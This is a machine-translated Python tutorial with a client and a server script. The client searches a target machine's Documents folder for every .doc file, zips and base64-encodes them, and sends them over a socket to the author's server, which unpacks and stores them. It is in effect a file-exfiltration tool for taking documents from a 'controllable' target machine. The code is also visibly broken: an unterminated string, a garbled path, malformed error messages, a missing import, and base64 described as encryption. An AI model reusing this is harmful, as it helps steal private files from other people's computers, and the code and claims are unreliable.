Python implements a method to get the specified file on the client and transfer it to the server

  • 2020-04-02 14:41:46
  • OfStack

This article illustrates how a python implementation can get the specified file on the client and transfer it to the server. Share with you for your reference. Specific analysis is as follows:

The program realizes that all the files of a certain type in a directory of the target machine (controllable) are obtained and transmitted to the machine of the target machine.

1, used base64 encode(infile,outfile) encryption, and decode(infile,outfile) decryption, which is binary encryption decryption
2. Zip it
3. Socket server. Py on its own side of the python server
4, the procedure set to get doc files, modify extName can get other types of files

Server-side program:

# -*- coding: cp936 -*-
import socket
import win32com.client
import os
import zipfile
import codecs
import base64
def main():
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 6553500 #6M
    key = 'ouyang'
    timeout = 5
    dicName = "ouyang\"
    ss = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        ss.bind((HOST,PORT))
        ss.listen(5)
        print "wating for conntecting..."
        while True:
            try:
                cs,addr = ss.accept()
                socket.setdefaulttimeout(timeout)
                cs.send("200 Connected!")
                # Get encrypted data
                encode_data = cs.recv(BUF_SIZE)
                # Write data to out.zip file
                tmpfile = open('out.tmp','wb')
                try:
                    tmpfile.write(encode_data)
                    tmpfile.close()
                except IOError,e:
                    print 'Strange error creating IOError:%s' % e 
                    tmpfile.close()
                finally:
                    tmpfile.close()
                #base64 decode 2 Into the system decryption decode(infile,outfile)
                tmpfile = open('out.tmp','rb')
                outfile = open('out.zip','wb')
                base64.decode(tmpfile,outfile)
                tmpfile.close()
                outfile.close()
                # Open the zip file
                zfile = zipfile.ZipFile('out.zip','r')
                # Create a folder to hold the retrieved zip file
                if not os.path.exists(dicName):
                    os.mkdir(dicName)
                for f in zfile.namelist():
                    data = zfile.read(f)
                    file = open(dicName+os.path.basename(f),'w+b')
                    file.write(data)
                    file.close()
                print "finished!!!"
                zfile.close()
                # Subsequent processing Delete temporary file
                os.remove('out.tmp')
                cs.close()
            except socket.error, e: 
                print 'Strange error creating socket:%s' % e 
                cs.close()
        ss.close()
    except socket.error, e:
        print 'Strange error creating socket:%s' % e 
        ss.close()
if __name__=='__main__':
    main()

Client program:

# -*- coding: cp936 -*-
import socket
import win32com.client
import win32api
import os
import time
import zipfile
import codecs
import base64
def walk_dir(dir,filelist,extName,topdown=True):
    for root, dirs, files in os.walk(dir, topdown):
        for name in files:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))     
        for name in dirs:
            if (os.path.splitext(os.path.join(root,name)))[-1] == extName:
                filelist.append(os.path.join(root,name))
def main():      
    HOST = '127.0.0.1'
    PORT = 2000
    BUF_SIZE = 65535
    key = 'ouyang'
    dicName = "C:Documents and SettingsAdministrator My document "
    extName = '.doc'
    # Traversing the search for my document doc type
    try:
        filelist = []
        walk_dir(dicName,filelist,extName)
    except IOError,e:
        print " File handling error : " % e
        sys.exit(-1)
    cs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        cs.connect((HOST,PORT))
        print cs.recv(BUF_SIZE)
        # Compressed into zip file
        zfile = zipfile.ZipFile('in.zip','w',zipfile.ZIP_DEFLATED)
        for f in filelist:
            zfile.write(f)
        zfile.close()
        #base 2 Into the system encryption encode(infile,outfile)
        infile = open('in.zip','rb')
        tmpfile = open('in.tmp','wb')
        base64.encode(infile,tmpfile)
        infile.close()
        tmpfile.close()
        #send
        tmpfile = open('in.tmp','rb')
        cs.send(tmpfile.read())
        tmpfile.close()
        # Subsequent processing Delete intermediate file
        os.remove('in.tmp')
        cs.close()
    except socket.error ,e:
        print 'socket Error: ' % e
        cs.close()
if __name__=='__main__':
    main()

I hope this article has helped you with your Python programming.


Related articles: